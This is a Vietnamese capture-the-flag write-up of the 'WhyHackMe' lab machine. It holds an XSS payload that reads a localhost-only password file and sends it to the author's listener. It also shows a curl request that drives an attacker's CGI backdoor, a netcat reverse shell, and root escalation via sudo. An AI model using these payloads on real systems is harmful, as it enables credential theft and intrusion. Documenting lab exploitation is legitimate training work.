Ducker

Trở về

WhyHackMeBlur image

Link thử thách

Thu nhập thông tin#

Nmap scan#

Đầu tiên, mình thực hiện scan các port thì thấy một số thông tin quan trọng như:

  • Port FTP mở và cho phép đăng nhập với tư cách khách, bên trong có một file update.txt.
  • Port SSH sẽ khả dụng sau này.
  • Port HTTP và đang phục vụ bằng Apache 2.4.41.
  • Và một port khá đáng ngờ nhưng không thể truy cập.

Dịch vụ FTP#

Truy cập vào dịch vụ FTP và thực hiện lấy file update.txt.

update.txt
Hey I just removed the old user mike because that account was compromised
and for any of you who wants the creds of new account visit 127.0.0.1/dir/pass.txt
and don't worry this file is only accessible by localhost(127.0.0.1), so nobody 
else can view it except me or people with access to the common account. 
- admin
txt

Nội dung chính của file update.txt nói rằng chỉ localhost mới có thể truy cập vào /dir/pass.txt.

Website#

Truy cập vào website, giao diện của nó như sau:

img

Mình sử dụng công cụ gobuster để scan các enpoint, từ nội dung trên mình cũng xác định được website này sử dụng PHP.

gobuster dir -u http://10.201.82.126/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php
shell
/.php                 (Status: 403) [Size: 278]
/index.php            (Status: 200) [Size: 563]
/blog.php             (Status: 200) [Size: 3102]
/login.php            (Status: 200) [Size: 523]
/register.php         (Status: 200) [Size: 643]
/dir                  (Status: 403) [Size: 278]
/assets               (Status: 301) [Size: 315] [--> http://10.201.82.126/assets/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/.php                 (Status: 403) [Size: 278]
shell

Flag 1#

Lỗ hổng XSS#

Phát hiện trang đăng ký tài khoản, mình thực hiện đăng ký tài khoản để xem có gì đặc biệt không.

img

Đăng ký tài khoản xong thì mình thấy trong trang blog có phần comment.

img

Nghĩ ngay đến XSS, nhưng mình thử thì không thành công.

img

Sau một khoảng thời gian, mình khai thác thành công XSS (Gợi ý tí là nó không nằm trong nội dung comment).

img

Dựa vào thông điệp lúc nãy, mình viết một script nhỏ với mục đích khi server thực thi file này, nó sẽ đọc file /dir/pass.txt sau đó gửi nội dung về lại cho mình ở dạng base64.

xss-exploit.js
fetch("http://127.0.0.1/dir/pass.txt")
  .then(r => r.text())
  .then(data => {
    fetch("http://10.17.67.204:8080/?data=" + btoa(data));
  });
js

Payload mình chèn vào như sau:

<script src="http://10.17.67.204:8080/xss-exploit.js"></script>
js

Mình mở python http và reload lại website để server thực thi và request về bên mình kèm theo base64 đã mã hóa.

img

Truy cập người dùng jack và flag#

Giải mã base64 thì mình nhận được thông tin đăng nhập của người dùng jack.

img

Tại home của jack có file user.txt chứa flag.

img

Flag 2#

Mình kiểm tra những thứ mà người dùng này có thể dùng với sudo.

jack@ubuntu:~$ sudo -l
Matching Defaults entries for jack on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jack may run the following commands on ubuntu:
    (ALL : ALL) /usr/sbin/iptables
shell

Tại đây người dùng này có thể dùng sudo đối với iptables.

Kiểm tra sơ qua thì mình thấy ngay vấn đề ban đầu thắc mắc, các gói tin đi qua port 41312 đều bị DROP.

Mình chuyển trạng thái lại từ DROP thành ACCEPT.

File urgent.txt#

Khi đi dạo thì mình thấy trong thư mục opt có 2 file như sau:

img

File urgent.txt nói rằng họ bị hack và có một số file bên trong /usr/bin/cgi-bin vàhọ không thể xóa nó dù ở quyền root.

Khả năng đó là payload của kẻ tấn công và mình có thể tận dụng nó.

File capture.pcap#

Mình sử dụng công cụ Wireshark phân tích file capture.pcap thì không nhận được thông tin gì vì các gói tin đã được mã hóa do dùng TLS.

Tìm trong cấu hình Apache mình biết được key giải mã apache.key/etc/apache2/certs/.

Tải về và nhập key này vào giao thức TLS.

img

Reverse shell#

Các gói tin đã được giải mã và mình tìm được một stream như sau:

img

Kẻ tấn công đã sử dụng file 5UP3r53Cr37.py và một số parameter khác, trong đó có cmd=id.

Kết quả trả về là kết quả của lệnh id.

Tận dụng điều này, mình gửi request tương tự như kẻ tấn công để xác nhận xem có khả thi hay không.

curl -k -s 'https://10.201.82.126:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id'

<h2>uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
<h2>

# Tùy chọn -k: Cho phép thực hiện kết nối HTTPS mà không cần xác thực
shell

Kết quả trả về cho thấy payload này hoàn toàn khả thi, mình thực hiện mở một reverse shell và vào được tài khoản www-data.

nc -lvnp 7304
listening on [any] 7304 ...
connect to [10.17.67.204] from (UNKNOWN) [10.201.82.126] 52184
bash: cannot set terminal process group (903): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$
shell

Có shell rồi, mình sử dụng kỹ thuật Stabilizing để có thể tương tác shell linh hoạt hơn.

Kiểm tra sudo như khi nãy thì thấy rằng tài khoản www-data có thể sử dụng lệnh sudo cho tất cả mọi thứ.

www-data@ubuntu:/usr/lib/cgi-bin$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: ALL
shell

Truy cập người dùng root và flag#

Sử dụng sudo su để chuyển sang tài khoản root, sau đó truy cập vào thư mục root sẽ có file chứa flag.

img